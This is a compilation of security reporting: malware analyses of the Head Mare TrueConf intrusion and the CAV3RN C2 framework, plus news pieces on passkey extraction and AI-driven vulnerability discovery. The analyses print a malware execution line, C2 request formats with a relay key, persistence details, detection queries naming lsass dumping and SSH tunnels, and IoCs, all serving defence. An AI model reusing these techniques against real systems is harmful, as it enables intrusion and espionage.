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Head Mare APT is exploiting vulnerabilities in an unpatched TrueConf server to deliver PhantomCore and PhantomGraph to video conference participants
In July 2026, Kaspersky experts detected a new attack by the Head Mare group. Previously, we classified them as hacktivists, but now we define them as an APT group due to the sophistication of their TTPs and the absence of destructive activity (encryption, wiping) in the targeted infrastructures. In this latest campaign, the attackers exploited a chain of vulnerabilities in the TrueConf video conferencing server and replaced the original TrueConf client installers with infected versions that installed the PhantomCore malware on the system.
An investigation of the compromised server revealed that the attackers used a combination of two new vulnerabilities (assigned the internal identifiers KLCERT-26-057 and KLCERT-26-058), allowing them to execute arbitrary code with the highest privileges.
The attack occurs in several stages:
- The attackers connect to the TrueConf server without prior authorization via port 4307/TCP, which, according to the product documentation, is open by default. The attack targets TrueConf servers running versions 5.3.X through 5.3.9, 5.4.X through 5.4.9, and 5.5.X through 5.5.5.
- Once connected, attackers call a server function to transmit a malicious script and execute it on the server. The vulnerability that allows this stage of the attack to be carried out has been assigned the internal identifier KLCERT-26-057.
- The received script runs on the TrueConf server in an isolated environment. By default, operating system functions are not accessible in this environment, which should limit the capabilities of the executed code.
- To escape the isolated environment, attackers exploit a second vulnerability, assigned the internal identifier KLCERT-26-058. Exploiting this vulnerability allows them to bypass the restrictions of the isolated environment and proceed to execute commands in the context of the operating system.
- Once the environment’s restrictions are bypassed, attackers gain the ability to execute arbitrary code on the server with the privileges of the NT AUTHORITY\SYSTEM account.
- Once they have gained elevated privileges, attackers replace the file …\public\js\locale.php with a web shell, which can be used for subsequent remote control of the compromised server.
This web shell was used for the following activities:
- collecting data on the IT infrastructure;
- gaining privileged access to the TrueConf database;
- replacing the original TrueConf Client distribution with an infected version containing the PhantomCore backdoor.
The vulnerabilities exploited by the attackers were patched by the vendor in the latest TrueConf Server updates (versions 5.3.9, 5.4.9, and 5.5.5). These updates were released on June 18, 2026.
The PhantomCore backdoor was successfully detected by Kaspersky solutions.
To automatically launch the malware after the system boots, a registry key is created: HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32, with the value set to the path to the malicious program’s file.
Using a web shell, in addition to PhantomCore, the attackers load a backdoor that we have named PhantomGraph, consisting of two modules:
- SysExcSvc.dll is responsible for receiving commands from the attackers and transmitting the results of their execution. The attackers used an account on Microsoft OneDrive cloud storage as their command-and-control (C2) server.
- SysReadSvc.dll reads the command transmitted by the first module, executes it, and saves the execution result.
To establish persistence on the system, the attackers execute a Base64-encoded PowerShell command that installs SysExcSvc.dll and SysReadSvc.dll as Windows services. We believe the attackers deliberately split this malicious command into two components to make it harder to detect using EDR tools. Additionally, the program’s code partially matches that of PhantomCore, indicating that it belongs to Head Mare’s arsenal.
We also managed to identify the commands executed by the attackers when connecting to the backdoor. The SysReadSvc module executes commands using a BATCH file. Example of execution:
$system32\cmd.exe /c cmd /c ""$temp\cmd_cmd_4488.bat"" 2>&1
Commands detected:
- Memory dump of the lsass.exe process:
- Reconnaissance of the user and system names:
- Launching an SSH reverse tunnel:
In addition, we discovered several commands that did not work due to the attackers’ typos and encoding issues.
We are observing several active Head Mare campaigns targeting Russian organizations across various industries: instrument manufacturing, electronics, transportation, energy,
IT, and software development. The attackers distribute their backdoors using various methods, including phishing, exploiting public web servers, or through a subcontractor.
We recommend that all organizations using TrueConf software install the latest server version (versions 5.3.9, 5.4.9, and 5.5.5) in accordance with the vendor’s recommendations.
We also recommend verifying that the client distributions downloaded from the TrueConf server used by your organization have a valid TrueConf digital signature and have not been tampered with. The malicious distributions we detected did not have a valid digital signature. You can also verify authenticity on the vendor’s website.
Important: Even if your organization does not use a TrueConf server, your employees may connect to compromised TrueConf servers belonging to business partners to participate in online meetings and download infected installation packages.
The attack mechanism and the vulnerabilities exploited are described in more detail on the Kaspersky ICS CERT website.
Detection by Kaspersky solutionsKaspersky security solutions successfully detect malicious activity associated with the attacks described above.
The malware used in this attack is detected by our solutions with the following detection names:
- Backdoor.PHP.WebShell.abi,
- Backdoor.Win64.PhantomCore.dt,
- Trojan.Win64.Agent.smgvnc,
- Trojan.Win64.Agent.smgvnb,
- HEUR:Backdoor.Win64.PhantomCore.gen,
- HEUR:Backdoor.Linux.Agent.fb,
- HEUR:Backdoor.Linux.PhantomHook.a,
- HEUR:Backdoor.Linux.PhantomReact.a,
- Trojan.Win64.PhantomGraph.gen
- UDS:Backdoor.Win64.PhantomCore.a
Let’s take a closer look using Kaspersky Endpoint Detection and Response Expert (KEDR Expert) as an example.
Specifically, activity involving the replacement of the legitimate file …\public\js\locale.php with a web shell, as well as the deletion of entries from TrueConf event logs, is detected by the rule unusual_php_file_creation_from_trueconf_process.
Downloading a file containing the PhantomCore backdoor via the replaced legitimate file …\public\js\locale.php is detected by KEDR Expert with the rule unusual_file_creation_from_trueconf.
Activity related to the installation of an infected TrueConf client installer containing the PhantomCore backdoor is detected by KEDR Expert using the unsigned_trueconf_installer rule.
The Kaspersky Managed Detection and Response service detects the described attack by monitoring the following actions:
- Creation of suspicious files by TrueConf Server processes.
- Execution of a TrueConf Client installer file that lacks a software developer’s signature.
- Suspicious process chains associated with TrueConf Client executables and TrueConf Client update executables.
- Registration of suspicious libraries in the HKEY_CURRENT_USER\Software\Classes\CLSID\ registry key.
- Actions related to retrieving information about the lsass.exe process.
- Memory dump creation for the lsass.exe process using the comsvcs.dll library.
- Accessing the memory of the lsass.exe process.
- Creating tunnels using the ssh process.
To protect companies using our Kaspersky SIEM system, a general set of rules is available in the product repository that allows detection of the following techniques:
- Creation of suspicious files in the C:\Windows\System32\inetsrv\* directory:
R405_07_File write to IIS native modules folder or OWA via WriteData. - Creating a memory dump of the lsass.exe process using the comsvcs.dll library:
R233_04_Process memory dump via comsvcs.dll. - Accessing the memory of the lsass.exe process:
R262_Suspicious access to the LSASS process.
We also recommend paying attention to the following events when developing your own detection rules or conducting threat hunting:
- Registration of suspicious libraries in the registry key \Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32:
(DeviceEventClassID = '4657' OR DeviceEventClassID = '13') AND FileName like '%\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}%' AND DeviceCustomString6 = 'InprocServer32' - Creating the SysExcSvc and SysReadSvc services to run executables from temporary directories in the background via cmd:
DeviceEventClassID = '4697' AND (DestinationServiceName = 'SysExcSvc' OR DestinationServiceName = 'SysReadSvc') AND match (FileName, '.*cmd\s+\/c.*temp\\cmd_cmd_.*\.bat.*') - Creation of suspicious processes originating from the TrueConf update process (trueconf_windows_update.exe)
(DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND SourceProcessName LIKE '%\trueconf_windows_update.exe'
For the detection rules to work correctly, ensure that events from Windows systems are received in full, including Security events 4688, 4663, 4657, and 4697 and Sysmon events 1, 7, 11, and 13.
Indicators of compromise File hashes (MD5)Web shell
4d27b4eb1c5dbb3d8160f29b8119523e locale.php
Infected installer
748c9f8cb1065000616204935f96207f trueconf_windows_update.exe
PhantomCore DLL
c5a460e4e68a088f6e51b2c6474642ec
129462164a7d52e9ea8560b60f0412c5 doc.txt
ec0bf4a2186a88874e9f26f07cfeb532 usocacheddata.txt
b348642146ea34771e5785c5857950f5
c915cb6c2aeb863ee8479238e1644217 doc.txt
0e79996d9483d1e44fea32b0a48c2c19 doc.txt
2bb75c20e778eb5c416965bd4d4259b1 trueconf_windows_client_x64_[redacted].exe
b3a6fee3307f1c26841fd5c603e2b013 usocacheddata.txt
8fcc3e4ccbf1725d9989fb464abf3561 usocacheddata.txt
PhantomGraph
489f43be558b2679284ceabed7adc4f3 sysexcsvc.dll
dd1fd2b459b97b7d59375cb8383cd19a sysreadsvc.dll
0e4541c3153ec5ed01497f19cf4f63d0 sysexcsvc.dll
12d4e8f5295f2ef7e0f9bfc0f4830939 sysexcsvc.dll
7f267006cac10f341c356b62fe493527 sysexcsvc.dll
ee2861d5965e8730708cd1da8a93fa4c sysexcsvc.dll
Backdoor (ELF)
c3a2abe8756910f42582b04a44ea3514
43f435c3c437bc879a2d7d4634f43494
Rootkit
aee9642b45b099cb7f3053b9b680b425
81.177.32[.]12
194.87.239[.]71 ssh
194.87.93[.]153 ssh
38.244.205[.]244
31.59.102[.]61
penzadogshelter[.]site
trendy-market[.]site
bright-deals[.]site
nova-stream[.]site
rinomobile[.]ink
urbanpixel[.]store
flexish[.]shop
media-hub[.]today
cosmetic-deals[.]store
vks.gossopka[.]forum
SysExcSvc
SysReadSvc
C:\Windows\System32\inetsrv\SysExcSvc.dll
C:\Windows\System32\inetsrv\SysReadSvc.dll
C:\Windows\System32\inetsrv\graphi-refresh.dat
C:\Windows\System32\inetsrv\share\input_*.txt
C:\Windows\System32\inetsrv\share\output_*.txt
%TEMP%\cmd_cmd_*.bat
%LOCALAPPDATA%\TrueConf\Client\api-ms-win-crt-time-l1-1-0-2.dll
/etc/systemd/system/omicluster.service
/etc/systemd/system/schedul2-bin.service
/opt/acronis/bin/schedul2-bin
/omi/bin/omicluster
/usr/lib64/libzvbi-tchain.so.2
/var/tmp/cx2
HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32
Kaspersky detection namesBackdoor.PHP.WebShell.abi
Backdoor.Win64.PhantomCore.dt
Trojan.Win64.Agent.smgvnc
Trojan.Win64.Agent.smgvnb
HEUR:Backdoor.Win64.PhantomCore.gen
HEUR:Backdoor.Linux.Agent.fb
HEUR:Backdoor.Linux.PhantomHook.a
HEUR:Backdoor.Linux.PhantomReact.a
Trojan.Win64.PhantomGraph.gen
UDS:Backdoor.Win64.PhantomCore.a
rule apt_HeadMare_FakeConf_installer { meta: description = "Rule to detect any unsigned TrueConf installers" author = "Kaspersky" copyright = "Kaspersky" version = "1.0" last_modified = "2026-08-02" hash = "748c9f8cb1065000616204935f96207f" strings: $a1 = "TrueConf Setup" wide $a2 = "This installation was built with Inno Setup." wide condition: (uint16(0) == 0x5A4D) and (filesize > 20MB) and (all of them) and (pe.number_of_signatures == 0) }
rule apt_HeadMare_PhantomCore_exchange { meta: description = "Rule to detect PhantomCore exchange module used by HeadMare" author = "Kaspersky ICS CERT" copyright = "Kaspersky ICS CERT" version = "1.0" last_modified = "2026-08-02" hash = "489f43be558b2679284ceabed7adc4f3" strings: $a1 = "graphi_exchange.dll" ascii $a2 = "graphi-client/1.0" ascii $b1 = "https://graph.microsoft.com/v1.0/me/drive/root:/" ascii $b2 = ":/children?$select=name,id&$top=200" ascii $b3 = "offline_access Files.ReadWrite" ascii $b4 = "GRAPHI_INSECURE" ascii $b5 = "\"@microsoft.graph.conflictBehavior\":\"replace\"}" ascii $b6 = "https://login.microsoftonline.com/" ascii condition: (uint16(0) == 0x5A4D) and (any of ($a*)) and (3 of ($b*)) }
rule apt_HeadMare_PhantomCore_executor { meta: description = "Rule to detect PhantomCore executor module used by HeadMare" author = "Kaspersky ICS CERT" copyright = "Kaspersky ICS CERT" version = "1.0" last_modified = "2026-08-02" hash = "dd1fd2b459b97b7d59375cb8383cd19a" strings: $a1 = "graphi_reader.dll" ascii $a2 = "^input_(.+)\\.txt$" ascii $b1 = "output_" ascii $b2 = "cmd_cmd_" ascii $b3 = "cmd /c \"\"" ascii $b4 = "error: failed to start cmd process" ascii $b5 = "share" ascii $b6 = "SysReadSvc" ascii condition: (uint16(0) == 0x5A4D) and (filesize < 4MB) and (any of ($a*)) and (4 of ($b*)) }
rule apt_HeadMare_FakeLocale_webshell { meta: description = "Rule to detect the HeadMare TrueConf web shell" author = "Kaspersky" copyright = "Kaspersky" version = "1.0" last_modified = "2026-08-04" hash = "4d27b4eb1c5dbb3d8160f29b8119523e" strings: $a1 = "X-Redirect-Bit" ascii wide nocase $a2 = "tc_vcs_web_db_conn" ascii wide $a3 = "user=postgres" ascii wide $b1 = "UPL ok::" ascii wide $b2 = "DWN fail nexs" ascii wide $b3 = "DWN fail inv" ascii wide condition: (2 of ($a*)) or (2 of ($b*)) }
rule apt_HeadMare_TrueConf_Rootkit { meta: description = "Rule to detect the HeadMare rootkit installed on TrueConf servers" author = "Kaspersky" copyright = "Kaspersky" version = "1.0" last_modified = "2026-08-06" hash = "aee9642b45b099cb7f3053b9b680b425" strings: $a1 = "PQconnectdb" $a2 = "obfuscated_data" $a3 = "install_hook" condition: (uint32(0) == 0x464c457f) and (filesize < 400000) and (all of them) }
rule apt_HeadMare_Github_Backdoor { meta: description = "Rule to detect the HeadMare backdoor with Github C2" author = "Kaspersky" copyright = "Kaspersky" version = "1.0" last_modified = "2026-08-06" hash = "43f435c3c437bc879a2d7d4634f43494" hash = "c3a2abe8756910f42582b04a44ea3514" strings: $a1 = "cryptor5crypt" $a2 = "execraw_task" $a3 = "jitter_task" $a4 = "upload_task" $a5 = "exec_task" $a6 = "react_comment" condition: (uint32(0) == 0x464c457f) and (filesize > 5000000) and (filesize < 10000000) and (4 of them) }
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Last week, a researcher outlined what he said was a “novel attack surface” in passkeys, the new authentication paradigm that offers a more secure alternative to password-based methods. In fact, the attacks demonstrated in the post are neither novel nor unique to passkeys. This distinction is important because the research has generated confusion among end users and security professionals as they assess whether this new mechanism is truly safe to use.
The attack is called Pass-ta-key—a blending of the word passkey with the phrase “pass the key” and a nod to a plate of pasta. Arie Olshtein, a researcher at security firm Palo Alto Networks, described in a post last week how Pass-ta-key could obtain all passkeys stored in the Google Password Manager app (GPM) for Windows when it’s running on a machine infected with malware.
This came as a surprise to many people because they believed passkeys are stored exclusively in the trusted platform manager (TPM), the locked-down enclave in a hardened silicon chip that’s reserved for storing cryptographic keys and other highly sensitive information on Windows machines. If passkeys are stored in the TPM, then how was Pass-ta-key able to extract the entire set of passkeys stored by the app, they wanted to know.
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Be careful what you wish for. That’s what Microsoft found out recently when it discovered that AI — rather than making Windows more secure by helping the company close security holes — could help hackers find flaws faster than Microsoft can fix them.
It’s put Microsoft in a serious bind. Should the company devote a potentially massive amount of resources to fix every AI-unearthed security issue as fast as it can? Or should it rush to close the most important ones, and clean up the minor ones later at much less cost?
What the company decides could have tremendous implications. For years, Microsoft has faced criticism from many in the US government because of how often its technologies have been hacked, potentially putting the nation’s security at risk. Some members of Congress have suggested the government curtail contracts with Microsoft until the company proves it can provide more safety. Billions of dollars in federal contracts could be pulled.
To get a better insight into what could happen, let’s look at AI’s newfound prodigious ability to find security holes and bugs.
AI-fueled security mavens Mythos and Project GlasswingMicrosoft’s AI-related security problems are an outgrowth of the launch of Anthropic’s Mythos AI model, designed to handle cybersecurity and biology research. One of its goals is to uncover security vulnerabilities as quickly as possible, so that software companies and cybersecurity companies can fix them before hackers find the holes.
Anthropic’s early tests found that Mythos was spectacularly successful in finding Windows security flaws. “Within 31 minutes, Mythos generated its first proof-of-concept exploit for a Windows kernel vulnerability,” Axios reported in June.
Anthropic noted that its testing of Mythos “reveals a stark fact: AI models have reached a level of coding capability where they can surpass all but the most skilled humans at finding and exploiting software vulnerabilities.
“Mythos Preview has already found thousands of high-severity vulnerabilities, including some in every major operating system and web browser. Given the rate of AI progress, it will not be long before such capabilities proliferate, potentially beyond actors who are committed to deploying them safely. The fallout — for economies, public safety, and national security — could be severe.”
As a result, Anthropic decided to launch a security project it calls Project Glasswing, which it describes as “an urgent attempt to put these capabilities to work for defensive purposes.”
Many companies beyond Anthropic are part of the effort, including Microsoft, Google, Amazon, Nvidia, Apple and others. In theory, it’s a great idea. Find and fix vulnerabilities before hackers can, and everyone is safer. What could go wrong?
Plenty, as it turns out. Access to Mythos is available to anyone, and Mythos has been finding security holes and bugs far faster than companies — particularly Microsoft — can patch them. As Pro Publica reported in late July, ‘Microsoft is struggling to fix them fast enough.”
Too little, too late?For now, Microsoft is only patching the most dangerous bugs and holes. And, according to Pro Publica, “internal records indicate that Microsoft plans to eventually address ‘moderate’-severity flaws uncovered by Mythos. The documents made no mention of ‘low’-severity bugs.”
That’s fairly typical of the triage many companies use when deciding how much effort to put into plugging holes. But some experts believe that in the age of AI, that’s a dangerous way to handle security.
Vinh Nguyen, former chief AI officer and chief data scientist at the US National Security Agency and now a senior technical adviser to Anthropic and senior fellow for AI at the Council on Foreign Relations, is particularly concerned that the approach is outdated. He told Pro Publica: “The problem now is that you can chain four low-level flaws, and that can equal a high severity. If you’re Microsoft, the current triage strategy may be underpricing risks.”
It’s already proving difficult for Microsoft to keep up with patching bugs and security holes since Mythos’ launch. July’s Patch Tuesday release fixed the most bugs in Microsoft’s history – 622 of them. Things will only get harder from here.
The dangers for MicrosoftMicrosoft is already in the doghouse for how it’s handled security. A year ago, in one of the worst attacks on Microsoft technologies, SharePoint was hacked. Tens of thousands of servers were hit, including not just thousands of businesses, but many important government agencies as well.
The National Institutes of Health (NIH) and the National Nuclear Security Administration (NNSA), which is in charge of the nation’s nuclear security, were among the victims. So were the Department of Homeland Security (DHS), the Cybersecurity and Infrastructure Security Agency, the Transportation Security Administration, Customs and Border Protection, and the Federal Emergency Management Agency, among many others.
Even before then, some members in Congress were threatening to pull Microsoft contracts if it didn’t improve security. At one point Sens. Eric Schmitt (R-MO) and Ron Wyden (D-OR) sent a threatening letter to the Pentagon requesting it not increase its use of Microsoft products.
“We write with serious concern that the Department of Defense (DoD) is doubling down on a failed strategy of increasing its dependence on Microsoft at a time when Congress and the administration are reviewing concerning cybersecurity lapses that led to a massive hack of senior US officials’ communications,” the letter said, in part.
Nothing happened as a result of the hack or the letter. But that could change in a heartbeat if there’s another big attack. It seems inevitable that hackers will start taking advantage of how quickly Mythos discovers security holes and bugs, especially if Microsoft doesn’t fix them all.
The next big hack, powered by AI, could prove very dangerous — not just for businesses and governments, but for Microsoft as well.
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Project CAV3RN continues: Google Apps Script as C2 relay and DNS-based C2 channel selection
Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.
Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.
We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.
Multi-transport C2 communication moduleThe communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:
C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdbNativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.
The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.
C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.
At startup, the worker internally sends:
{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.
The module supports five internal commands:
Command Functionality s_version Returns the DLL-version inventory described above. The command is executed automatically at startup. s_config Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory. s_enLog Enables diagnostic logging at the Debug level. s_deLog Disables diagnostic logging and sets the logging level to Fatal. s_write Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.
{ "to": "<generated seven-character ID>", // Client ID "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL "ho": "studiotikva.com", // DNS domain "gi": "<redacted>", // Apps Script deployment ID "de": false, // Enable Debug logging at startup "mi": 120000, // Poll-delay reset after a non-empty response "ma": 18000000, // Progressive poll-delay cap "ri": 30000, // Base DNS recovery/error delay, with positive jitter "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key "gu": "https://script.google.com/macros/s/{0}/exec", "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31", "mcc": 50, // unknown "mtc": 10 // unknown }The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.
Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:
<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com
The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.
The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:
Fourth octet None (0) GIDFailed (1) GoogleFailed (2) DirectFailed (3) 120 (0x78) Google Apps Script Direct HTTPS Direct HTTPS Google Apps Script 130 (0x82) Direct HTTPS Direct HTTPS Direct HTTPS Close the transaction (no channel) 140 (0x8C) Exception Exception Exception Exception All other values Google Apps Script Google Apps Script Google Apps Script Google Apps ScriptDuring analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.
CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel
When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.
DNS-based deployment-ID freshness check
The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.
DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks
One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.
Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID
Google Apps Script channelWhen DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.
Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:
POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1 Host: script.google.com Content-Type: application/json {"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:
HTTP/2 302 content-type: text/html; charset=UTF-8 access-control-allow-origin: * location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR server: GSE HTTP/2 200 content-type: application/json; charset=utf-8 access-control-allow-origin: * server: GSE {"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.
Direct HTTPS channelWhen DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.
However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:
GET request to the header-gated C2 endpoint and its encoded tasking response
Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.
Inter-component DLL brokerThe inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.
The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.
The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.
Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.
Command Function 000 Lists loaded component names and versions 001 Lists every DLL path discovered by the scanner 002 Lists each loaded component’s path, name, and versionThe 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.
InfrastructureHistorical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.
The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.
The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.
Domain Registrar IP Hosting ASN studiotikva[.]comapi.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com Dynadot Inc 144.172.115[.]17
144.172.104[.]82 RouterHosting LLC AS 14956 Conclusions
Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.
Indicators of compromiseAdditional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at [email protected].
File hashes904784c9943d019da332bea2cd03996f CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0 net.dll
2dcd4a8ac166404977cd3c48418a8cd9 rnp.dll
981c7404d31b8ce35ec88a6b290f354d GoogleService.dll
34d50eec364d920b8b5d885c9bc98607 texture.dll
studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82
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